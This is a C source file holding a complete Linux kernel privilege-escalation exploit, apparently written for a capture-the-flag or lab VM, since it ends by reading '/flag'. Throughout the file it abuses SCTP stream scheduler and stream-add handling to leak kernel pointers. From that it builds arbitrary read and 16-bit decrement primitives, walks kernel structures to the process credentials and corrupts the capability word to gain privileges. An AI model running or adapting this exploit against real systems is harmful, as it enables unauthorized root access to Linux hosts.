/*
 * Copyright 2026 Nebula Security
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     https://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 *
 * SPDX-License-Identifier: Apache-2.0
 */

#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/sctp.h>
#include <linux/capability.h>
#include <netinet/in.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#define NDISC 128
#define NQREAD 4
#define NARBPROBE 4
#define NSCAN (NDISC + NQREAD + NARBPROBE)
#define NTARGET 88
#define NADD (NSCAN + NTARGET)
#define NGROOM 128
#define NPRIM_READERS 8
#define NVICTIMS 4
#define NREADERS (NPRIM_READERS + NVICTIMS)
#define NEBUSEC_DISCOVERY UINT16_C(0x5f6e)
#define NEBUSEC_TARGET_BASE UINT16_C(0x6562)
#define NEBUSEC_PRIO UINT16_C(0x7365)

/* linux/filter.h is not shipped by the minimal musl wrapper in this
 * workspace.  These are the stable classic-BPF socket ABI definitions. */
struct sock_filter {
	uint16_t code;
	uint8_t jt;
	uint8_t jf;
	uint32_t k;
};
struct sock_fprog {
	uint16_t len;
	struct sock_filter *filter;
};
#define BPF_RET 0x06
#define BPF_K 0x00
#define BPF_STMT(code_, k_) { (uint16_t)(code_), 0, 0, (k_) }

static volatile int stop_threads;

static void die(const char *s)
{
	perror(s);
	exit(1);
}

static void set_cpu(int cpu)
{
	cpu_set_t set;
	CPU_ZERO(&set);
	CPU_SET(cpu, &set);
	(void)sched_setaffinity(0, sizeof(set), &set);
}

static int assoc_opt(int fd, int opt, uint32_t value)
{
	struct sctp_assoc_value av = { .assoc_id = 0, .assoc_value = value };
	return setsockopt(fd, IPPROTO_SCTP, opt, &av, sizeof(av));
}

static int stream_set(int fd, uint16_t sid, uint16_t value)
{
	struct sctp_stream_value sv = {
		.assoc_id = 0, .stream_id = sid, .stream_value = value,
	};
	return setsockopt(fd, IPPROTO_SCTP, SCTP_STREAM_SCHEDULER_VALUE,
			  &sv, sizeof(sv));
}

static int stream_get(int fd, uint16_t sid, uint16_t *value)
{
	struct sctp_stream_value sv = { .assoc_id = 0, .stream_id = sid };
	socklen_t len = sizeof(sv);
	int ret = getsockopt(fd, IPPROTO_SCTP, SCTP_STREAM_SCHEDULER_VALUE,
			     &sv, &len);
	*value = sv.stream_value;
	return ret;
}

static int out_streams(int fd)
{
	struct sctp_status st = {0};
	socklen_t len = sizeof(st);
	if (getsockopt(fd, IPPROTO_SCTP, SCTP_STATUS, &st, &len))
		return -errno;
	return st.sstat_outstrms;
}

static ssize_t send_sid_flags(int fd, uint16_t sid, const void *buf, size_t len,
			      int flags)
{
	char ctrl[CMSG_SPACE(sizeof(struct sctp_sndrcvinfo))] = {0};
	struct iovec iov = { .iov_base = (void *)buf, .iov_len = len };
	struct msghdr msg = {
		.msg_iov = &iov, .msg_iovlen = 1,
		.msg_control = ctrl, .msg_controllen = sizeof(ctrl),
	};
	struct cmsghdr *cm = CMSG_FIRSTHDR(&msg);
	struct sctp_sndrcvinfo *si;
	cm->cmsg_level = IPPROTO_SCTP;
	cm->cmsg_type = SCTP_SNDRCV;
	cm->cmsg_len = CMSG_LEN(sizeof(*si));
	si = (void *)CMSG_DATA(cm);
	si->sinfo_stream = sid;
	return sendmsg(fd, &msg, MSG_DONTWAIT | MSG_NOSIGNAL | flags);
}

static ssize_t send_sid(int fd, uint16_t sid, const void *buf, size_t len)
{
	return send_sid_flags(fd, sid, buf, len, 0);
}

static ssize_t send_sid_ttl(int fd, uint16_t sid, const void *buf, size_t len,
			    uint32_t ttl)
{
	char ctrl[CMSG_SPACE(sizeof(struct sctp_sndrcvinfo))] = {0};
	struct iovec iov = { .iov_base = (void *)buf, .iov_len = len };
	struct msghdr msg = {
		.msg_iov = &iov, .msg_iovlen = 1,
		.msg_control = ctrl, .msg_controllen = sizeof(ctrl),
	};
	struct cmsghdr *cm = CMSG_FIRSTHDR(&msg);
	struct sctp_sndrcvinfo *si;

	cm->cmsg_level = IPPROTO_SCTP;
	cm->cmsg_type = SCTP_SNDRCV;
	cm->cmsg_len = CMSG_LEN(sizeof(*si));
	si = (void *)CMSG_DATA(cm);
	si->sinfo_stream = sid;
	si->sinfo_flags = SCTP_PR_SCTP_TTL;
	si->sinfo_timetolive = ttl;
	return sendmsg(fd, &msg, MSG_DONTWAIT | MSG_NOSIGNAL);
}

/* Keep the peer's denial out of the association until the transient-stream
 * chunks have expired.  Classic socket filters are unprivileged and affect
 * only receives on this socket; the request and local outqueue still run.
 */
static int drop_incoming(int fd)
{
	struct sock_filter insn[] = {
		BPF_STMT(BPF_RET | BPF_K, 0),
	};
	struct sock_fprog prog = {
		.len = sizeof(insn) / sizeof(insn[0]), .filter = insn,
	};
	return setsockopt(fd, SOL_SOCKET, SO_ATTACH_FILTER, &prog, sizeof(prog));
}

static int accept_incoming(int fd)
{
	int one = 1;
	return setsockopt(fd, SOL_SOCKET, SO_DETACH_FILTER, &one, sizeof(one));
}

static void *drain_socket(void *arg)
{
	int fd = *(int *)arg;
	char buf[65536];
	set_cpu(0);
	while (!stop_threads) {
		ssize_t n = recv(fd, buf, sizeof(buf), MSG_DONTWAIT);
		if (n < 0 && errno != EAGAIN && errno != EINTR)
			break;
		if (n <= 0)
			sched_yield();
	}
	return NULL;
}

static void *lock_sender(void *arg)
{
	int fd = *(int *)arg;
	static char buf[4096];
	struct iovec iov[1];
	struct msghdr msg = { .msg_iov = iov, .msg_iovlen = 1 };
	memset(buf, '_', sizeof(buf));
	iov[0].iov_base = buf;
	iov[0].iov_len = sizeof(buf);
	set_cpu(1);
	while (!stop_threads) {
		ssize_t n = sendmsg(fd, &msg, MSG_DONTWAIT | MSG_NOSIGNAL);
		usleep(n < 0 ? 10000 : 1000);
	}
	return NULL;
}

static int transient_add(int fd, int base)
{
	struct sctp_add_streams add = {
		.sas_assoc_id = 0, .sas_outstrms = NADD,
	};
	for (int i = 0; i < 200000; i++) {
		int ret = setsockopt(fd, IPPROTO_SCTP, SCTP_ADD_STREAMS,
				     &add, sizeof(add));
		int now = out_streams(fd);
		if (!ret && now == base + NADD) {
			printf("transient base=%d now=%d try=%d\n", base, now, i);
			return 0;
		}
		if (!(i & 0xfff))
			printf("retry add i=%d ret=%d errno=%d now=%d\n",
			       i, ret, errno, now);
	}
	return -1;
}

static int wait_outcnt(int fd, int wanted)
{
	for (int i = 0; i < 100000; i++) {
		int now = out_streams(fd);
		if (now == wanted)
			return 0;
		usleep(100);
	}
	return -1;
}

struct exploit_ctx {
	int fd;
	uint16_t next_probe;
	int target_sid;
	uint64_t p;
	uint64_t q;
	const char *name;
};

static void expiry_flush(int fd, const char *tag)
{
	static char byte = 'e';

	usleep(20000);
	for (int i = 0; i < 4; i++)
		(void)send_sid_ttl(fd, 0, &byte, 1, 1);
	(void)tag;
}

/* Add an exact value to a stale fc_length.  A sub-frag-point SCTP user
 * message contributes payload length plus one 16-byte DATA header. */
static int send_exact_delta(int fd, uint16_t sid, uint32_t delta)
{
	static unsigned char payload[64000];
	const uint32_t max_contribution = sizeof(payload) + 16;
	uint32_t chunks, payload_left;

	if (delta < 17)
		return -1;
	chunks = (delta + max_contribution - 1) / max_contribution;
	if (17 * chunks > delta)
		return -1;
	payload_left = delta - 16 * chunks;
	for (uint32_t i = 0; i < chunks; i++) {
		uint32_t left_chunks = chunks - i - 1;
		uint32_t len = payload_left - left_chunks;

		if (len > sizeof(payload))
			len = sizeof(payload);
		for (;;) {
			if (send_sid_ttl(fd, sid, payload, len, 1) >= 0)
				break;
			if (errno != EAGAIN && errno != ENOBUFS)
				return -1;
			expiry_flush(fd, "delta pressure");
		}
		payload_left -= len;
		/* skb accounting is larger than payload bytes.  Twenty-four chunks
		 * leave sndbuf room for the four cleanup triggers above. */
		if (i % 24 == 23)
			expiry_flush(fd, "delta batch");
	}
	return payload_left ? -1 : 0;
}

static int new_client(uint16_t port)
{
	struct sockaddr_in a = { .sin_family = AF_INET, .sin_port = htons(port) };
	struct sctp_initmsg init = { .sinit_num_ostreams = 1,
		.sinit_max_instreams = 128 };
	int fd, sz = 4 << 20, one = 1;

	inet_pton(AF_INET, "127.0.0.1", &a.sin_addr);
	fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
	if (fd < 0)
		return -1;
	setsockopt(fd, SOL_SOCKET, SO_SNDBUF, &sz, sizeof(sz));
	setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &sz, sizeof(sz));
	if (setsockopt(fd, IPPROTO_SCTP, SCTP_NODELAY, &one, sizeof(one)) ||
	    setsockopt(fd, IPPROTO_SCTP, SCTP_INITMSG, &init, sizeof(init)) ||
	    assoc_opt(fd, SCTP_RECONFIG_SUPPORTED, 1) ||
	    assoc_opt(fd, SCTP_ENABLE_STREAM_RESET,
		      SCTP_ENABLE_CHANGE_ASSOC_REQ) ||
	    assoc_opt(fd, SCTP_STREAM_SCHEDULER, SCTP_SS_PRIO) ||
	    connect(fd, (void *)&a, sizeof(a))) {
		close(fd);
		return -1;
	}
	{
		struct sctp_status status = {0};
		socklen_t slen = sizeof(status), olen = sizeof(sz);
		(void)getsockopt(fd, SOL_SOCKET, SO_SNDBUF, &sz, &olen);
		(void)getsockopt(fd, IPPROTO_SCTP, SCTP_STATUS, &status, &slen);
		printf("client sndbuf=%d frag_point=%u\n", sz,
		       status.sstat_fragmentation_point);
	}
	return fd;
}

static int ctx_prepare(struct exploit_ctx *ctx)
{
	static char data[4096];
	uint16_t words[4];
	int hit_probe = -1, hit_target = -1;
	uint32_t distance = 0;

	memset(data, 'n', sizeof(data));
	if (send_sid(ctx->fd, 0, data, 1) < 0)
		return -1;

	if (drop_incoming(ctx->fd) || transient_add(ctx->fd, 1))
		return -1;
	for (int sid = 1; sid <= NSCAN; sid++)
		if (stream_set(ctx->fd, sid, NEBUSEC_DISCOVERY))
			return -1;
	for (int j = 0; j < NTARGET; j++)
		if (stream_set(ctx->fd, NSCAN + 1 + j,
			       NEBUSEC_TARGET_BASE + j))
			return -1;
	if (accept_incoming(ctx->fd) || wait_outcnt(ctx->fd, 1) ||
	    assoc_opt(ctx->fd, SCTP_STREAM_SCHEDULER, SCTP_SS_WFQ))
		return -1;

	if (drop_incoming(ctx->fd) || transient_add(ctx->fd, 1))
		return -1;
	for (int sid = 1; sid <= NDISC; sid++)
		if (send_sid_ttl(ctx->fd, sid, data, 64 * sid - 16, 1) < 0)
			return -1;
	expiry_flush(ctx->fd, "discover");
	if (accept_incoming(ctx->fd) || wait_outcnt(ctx->fd, 1) ||
	    assoc_opt(ctx->fd, SCTP_STREAM_SCHEDULER, SCTP_SS_PRIO))
		return -1;

	if (drop_incoming(ctx->fd) || transient_add(ctx->fd, 1))
		return -1;
	for (int sid = 1; sid <= NDISC; sid++) {
		uint16_t v = 0;

		if (stream_get(ctx->fd, sid, &v))
			return -1;
		if (hit_probe < 0 && v >= NEBUSEC_TARGET_BASE &&
		    v < NEBUSEC_TARGET_BASE + NTARGET) {
			hit_probe = sid;
			hit_target = NSCAN + 1 + v - NEBUSEC_TARGET_BASE;
		}
	}
	if (hit_probe < 0) {
		printf("[%s] no forward priority neighbor\n", ctx->name);
		/* Keep this failed transient association frozen.  Rolling it back
		 * would release the same orphan scheduler state that the primitive
		 * deliberately preserves; later contexts are independent sockets. */
		return -2;
	}
	distance = 64 * hit_probe;
	if (accept_incoming(ctx->fd) || wait_outcnt(ctx->fd, 1) ||
	    assoc_opt(ctx->fd, SCTP_STREAM_SCHEDULER, SCTP_SS_WFQ))
		return -1;

	if (drop_incoming(ctx->fd) || transient_add(ctx->fd, 1))
		return -1;
	for (int i = 0; i < 4; i++) {
		if (send_sid_ttl(ctx->fd, NDISC + 1 + i, data,
				      distance - 40 + 2 * i - 16, 1) < 0)
			return -1;
	}
	expiry_flush(ctx->fd, "head leak");
	if (accept_incoming(ctx->fd) || wait_outcnt(ctx->fd, 1) ||
	    assoc_opt(ctx->fd, SCTP_STREAM_SCHEDULER, SCTP_SS_PRIO))
		return -1;

	if (drop_incoming(ctx->fd) || transient_add(ctx->fd, 1))
		return -1;
	ctx->q = 0;
	for (int i = 0; i < 4; i++) {
		if (stream_get(ctx->fd, NDISC + 1 + i, &words[i]))
			return -1;
		ctx->q |= (uint64_t)words[i] << (16 * i);
	}
	ctx->p = ctx->q - distance;
	ctx->target_sid = hit_target;
	ctx->next_probe = NDISC + NQREAD + 1;
	printf("[%s] P=%#llx Q=%#llx target=%d\n", ctx->name,
	       (unsigned long long)ctx->p, (unsigned long long)ctx->q,
	       ctx->target_sid);
	if ((ctx->q >> 48) != 0xffff) {
		printf("[%s] invalid leaked pointers\n", ctx->name);
		return -2;
	}
	if (accept_incoming(ctx->fd) || wait_outcnt(ctx->fd, 1))
		return -1;
	return 0;
}

static int ctx_transform(struct exploit_ctx *ctx, uint64_t address, int count)
{
	uint32_t deltas[4];
	int64_t diffs[4];

	if (count < 1 || count > 4 ||
	    ctx->next_probe + count > NSCAN + 1)
		return -1;
	for (int i = 0; i < count; i++) {
		diffs[i] = (int64_t)(address + 2 * i - 40 - ctx->p);
		if (diffs[i] < 17 || diffs[i] > (256LL << 20)) {
			printf("[%s] unreachable target=%#llx P=%#llx diff=%lld\n",
			       ctx->name, (unsigned long long)address,
			       (unsigned long long)ctx->p, (long long)diffs[i]);
			return -2;
		}
		deltas[i] = diffs[i];
	}
	printf("[%s] transform address=%#llx delta=%#x probes=%u..%u\n",
	       ctx->name, (unsigned long long)address, deltas[0],
	       ctx->next_probe, ctx->next_probe + count - 1);
	if (assoc_opt(ctx->fd, SCTP_STREAM_SCHEDULER, SCTP_SS_WFQ) ||
	    drop_incoming(ctx->fd) || transient_add(ctx->fd, 1))
		return -1;
	for (int i = 0; i < count; i++)
		if (send_exact_delta(ctx->fd, ctx->next_probe + i, deltas[i]))
			return -1;
	expiry_flush(ctx->fd, "arbitrary transform");
	if (accept_incoming(ctx->fd) || wait_outcnt(ctx->fd, 1) ||
	    assoc_opt(ctx->fd, SCTP_STREAM_SCHEDULER, SCTP_SS_PRIO))
		return -1;
	return 0;
}

static int ctx_reachable(const struct exploit_ctx *ctx, uint64_t address)
{
	int64_t diff = (int64_t)(address - 40 - ctx->p);

	return diff >= 17 && diff <= (256LL << 20);
}

static struct exploit_ctx *choose_reader(struct exploit_ctx readers[NREADERS],
					 const int valid[NREADERS],
					 uint64_t address, int probes)
{
	struct exploit_ctx *best = NULL;
	int64_t best_diff = INT64_MAX;

	for (int i = 0; i < NREADERS; i++) {
		int64_t diff = (int64_t)(address - 40 - readers[i].p);

		if (!valid[i] || !ctx_reachable(&readers[i], address) ||
		    readers[i].next_probe + probes > NSCAN + 1)
			continue;
		if (diff < best_diff) {
			best = &readers[i];
			best_diff = diff;
		}
	}
	if (!best)
		printf("[chain] no reader reaches %#llx with %d probes\n",
		       (unsigned long long)address, probes);
	else
		printf("[chain] chose %s for %#llx diff=%lld\n", best->name,
		       (unsigned long long)address, (long long)best_diff);
	return best;
}

static int ctx_read64(struct exploit_ctx *ctx, uint64_t address,
		      int queue_target, int leave_active, uint64_t *result)
{
	uint16_t words[4];
	uint16_t first = ctx->next_probe;
	static char data[4096];

	if (ctx_transform(ctx, address, 4))
		return -1;
	if (drop_incoming(ctx->fd) || transient_add(ctx->fd, 1))
		return -1;
	if (queue_target) {
		/* NODELAY plus a normal byte flushes any packet containing the
		 * outstanding RE-CONFIG control.  Subsequent MSG_MORE bytes reach an
		 * empty packet with force_delay set and leave Q on prio_list. */
		if (send_sid(ctx->fd, ctx->target_sid, data, 1) < 0)
			return -1;
		for (int i = 0; i < 4; i++)
			if (send_sid_flags(ctx->fd, ctx->target_sid, data, 1,
					   MSG_MORE) < 0)
				return -1;
	}
	*result = 0;
	for (int i = 0; i < 4; i++) {
		if (stream_get(ctx->fd, first + i, &words[i]))
			return -1;
		*result |= (uint64_t)words[i] << (16 * i);
	}
	ctx->next_probe += 4;
	printf("[%s] read64(%#llx)=%#llx\n", ctx->name,
	       (unsigned long long)address, (unsigned long long)*result);
	if (!leave_active &&
	    (accept_incoming(ctx->fd) || wait_outcnt(ctx->fd, 1)))
		return -1;
	return 0;
}

static int ctx_decrement16(struct exploit_ctx *ctx, uint64_t address)
{
	uint16_t sid = ctx->next_probe;

	if (ctx_transform(ctx, address, 1))
		return -1;
	if (drop_incoming(ctx->fd) || transient_add(ctx->fd, 1))
		return -1;
	/* prio is stored two bytes before users.  The nonzero marker avoids the zero
	 * value in the high half of cap_permitted and forces head_put(). */
	if (stream_set(ctx->fd, sid, NEBUSEC_PRIO))
		return -1;
	ctx->next_probe++;
	printf("[%s] decremented u16 at %#llx\n", ctx->name,
	       (unsigned long long)address);
	return 0;
}

static void run_chain_client(uint16_t port)
{
	char reader_names[NREADERS][16];
	struct exploit_ctx readers[NREADERS] = {0};
	struct exploit_ctx *r = NULL;
	pthread_t drains[NREADERS];
	int have_drains = 0;
	int reader_ok[NREADERS] = {0};
	int groom[NGROOM], ngroom = 0;
	uint64_t prio_list, asoc, sk, sock, file, cred;
	int ret = 0, exploited = 0;

	set_cpu(0);
	for (int i = 0; i < NREADERS; i++) {
		if (i == NPRIM_READERS) {
			/* Allocate the final current cred only after the primitive P
			 * samples.  The post-capset associations below all pin it. */
			for (int j = 0; j < NGROOM; j++) {
				struct __user_cap_header_struct hdr = {
					.version = _LINUX_CAPABILITY_VERSION_3, .pid = 0,
				};
				struct __user_cap_data_struct caps[2] = {{0}, {0}};

				if (syscall(SYS_capset, &hdr, caps) < 0) {
					ret = -1;
					break;
				}
				groom[ngroom] = socket(AF_INET, SOCK_STREAM,
						      IPPROTO_SCTP);
				if (groom[ngroom] < 0) {
					ret = -1;
					break;
				}
				ngroom++;
			}
			printf("[chain] zero-capset/socket groom held=%d errno=%d\n",
			       ngroom, errno);
		}
		snprintf(reader_names[i], sizeof(reader_names[i]), "_nebusec%d", i);
		readers[i].name = reader_names[i];
		readers[i].fd = new_client(port);
		if (readers[i].fd < 0)
			die("new reader");
		if (pthread_create(&drains[have_drains], NULL, drain_socket,
				   &readers[i].fd))
			die("drain reader");
		have_drains++;
		reader_ok[i] = ctx_prepare(&readers[i]) == 0;
		if (reader_ok[i] && (!r || readers[i].p < r->p))
			r = &readers[i];
	}
	if (!r) {
		printf("[chain] no usable reader context\n");
		ret = -1;
	} else {
		printf("[chain] selected %s P=%#llx\n", r->name,
		       (unsigned long long)r->p);
	}
	if (ret)
		goto out;
	/* Scheduling marker Q inserts it as the tail of stream.prio_list, so
	 * Q->prio_sched.next is the global list head at asoc+0x580.  Try each
	 * post-capset association: their files pin the same current cred, while
	 * their file addresses sample independent slabs. */
	for (int attempt = NPRIM_READERS;
	     attempt < NREADERS && !exploited; attempt++) {
		struct exploit_ctx *source = &readers[attempt];

		if (!reader_ok[attempt])
			continue;
		if (source->next_probe + 4 > NSCAN + 1)
			continue;
		if (ctx_read64(source, source->q, 1, 0, &prio_list))
			goto out;
		/* A later scheduler switch would head_put() these fake heads and
		 * decrement the words following the read.  Never reuse a context. */
		reader_ok[attempt] = 0;
		asoc = prio_list - 0x580;
		if ((prio_list >> 48) != 0xffff || prio_list == source->q ||
		    asoc + 0x580 != prio_list) {
			printf("[chain] %s invalid prio_list=%#llx\n", source->name,
			       (unsigned long long)prio_list);
			continue;
		}
		printf("[chain] %s prio_list=%#llx asoc=%#llx\n", source->name,
		       (unsigned long long)prio_list, (unsigned long long)asoc);

		r = choose_reader(readers, reader_ok, asoc + 16, 4);
		if (!r)
			continue;
		if (ctx_read64(r, asoc + 16, 0, 0, &sk))
			goto out;
		reader_ok[r - readers] = 0;
		r = choose_reader(readers, reader_ok, sk + 288, 4);
		if (!r)
			continue;
		if (ctx_read64(r, sk + 288, 0, 0, &sock))
			goto out;
		reader_ok[r - readers] = 0;
		r = choose_reader(readers, reader_ok, sock + 16, 4);
		if (!r)
			continue;
		if (ctx_read64(r, sock + 16, 0, 0, &file))
			goto out;
		reader_ok[r - readers] = 0;
		r = choose_reader(readers, reader_ok, file + 48, 4);
		if (!r) {
			printf("[chain] retrying through another association\n");
			continue;
		}
		if (ctx_read64(r, file + 48, 0, 0, &cred))
			goto out;
		reader_ok[r - readers] = 0;
		printf("[chain] asoc=%#llx sk=%#llx socket=%#llx file=%#llx cred=%#llx\n",
		       (unsigned long long)asoc, (unsigned long long)sk,
		       (unsigned long long)sock, (unsigned long long)file,
		       (unsigned long long)cred);
		r = choose_reader(readers, reader_ok, cred + 62, 1);
		if (!r || ctx_decrement16(r, cred + 62))
			goto out;
		reader_ok[r - readers] = 0;
		exploited = 1;
	}
	if (!exploited) {
		printf("[chain] exhausted equivalent association paths\n");
		goto out;
	}

	{
		int statusfd = open("/proc/self/status", O_RDONLY);
		char status[4096] = {0};
		ssize_t status_n = statusfd >= 0 ?
			read(statusfd, status, sizeof(status) - 1) : -1;
		int flagfd = open("/flag", O_RDONLY);
		char flag[256] = {0};
		ssize_t n = flagfd >= 0 ? read(flagfd, flag, sizeof(flag) - 1) : -1;

		if (statusfd >= 0)
			close(statusfd);
		if (status_n > 0) {
			char *cap = strstr(status, "CapEff:");
			if (cap)
				printf("[chain] %.25s\n", cap);
		}
		printf("[chain] flagfd=%d n=%zd errno=%d FLAG=%s\n",
		       flagfd, n, errno, n > 0 ? flag : "");
		/* Closing an association would put the deliberately forged priority
		 * heads.  Once the flag is printed, leave cleanup to the VM runner. */
		if (n > 0)
			for (;;)
				pause();
	}
out:
	for (int i = 0; i < NREADERS; i++)
		(void)accept_incoming(readers[i].fd);
	stop_threads = 1;
	for (int i = 0; i < have_drains; i++)
		pthread_join(drains[i], NULL);
	for (int i = 0; i < NREADERS; i++)
		close(readers[i].fd);
	for (int i = 0; i < ngroom; i++)
		close(groom[i]);
}

int main(void)
{
	struct sockaddr_in a = { .sin_family = AF_INET,
		.sin_addr.s_addr = htonl(INADDR_LOOPBACK) };
	struct sctp_initmsg init = { .sinit_num_ostreams = 1,
		.sinit_max_instreams = 128 };
	socklen_t alen = sizeof(a);
	int lfd, peers[NREADERS], sz = 4 << 20;
	int st, child_reaped = 0;
	pid_t pid;
	pthread_t lockers[NREADERS], server_rxs[NREADERS];

	setvbuf(stdout, NULL, _IONBF, 0);
	printf("uid=%u gid=%u\n", getuid(), getgid());
	lfd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
	if (lfd < 0) die("socket server");
	if (setsockopt(lfd, IPPROTO_SCTP, SCTP_INITMSG, &init, sizeof(init)) ||
	    assoc_opt(lfd, SCTP_RECONFIG_SUPPORTED, 1))
		die("server opts");
	if (bind(lfd, (void *)&a, sizeof(a)) || listen(lfd, NREADERS) ||
	    getsockname(lfd, (void *)&a, &alen))
		die("server bind");
	pid = fork();
	if (pid < 0) die("fork");
	if (!pid) {
		close(lfd);
		run_chain_client(ntohs(a.sin_port));
		_exit(0);
	}
	set_cpu(1);
	for (int i = 0; i < NREADERS; i++) {
		peers[i] = accept(lfd, NULL, NULL);
		if (peers[i] < 0) die("accept peer");
		setsockopt(peers[i], SOL_SOCKET, SO_SNDBUF, &sz, sizeof(sz));
		if (pthread_create(&lockers[i], NULL, lock_sender, &peers[i]))
			die("locker");
		if (pthread_create(&server_rxs[i], NULL, drain_socket, &peers[i]))
			die("server rx");
	}
	while (waitpid(pid, &st, WNOHANG) != pid)
		usleep(1000);
	child_reaped = 1;
	stop_threads = 1;
	for (int i = 0; i < NREADERS; i++) {
		pthread_join(lockers[i], NULL);
		pthread_join(server_rxs[i], NULL);
		close(peers[i]);
	}
	if (!child_reaped)
		waitpid(pid, &st, 0);
	printf("child status=%#x\n", st);
	return 0;
}
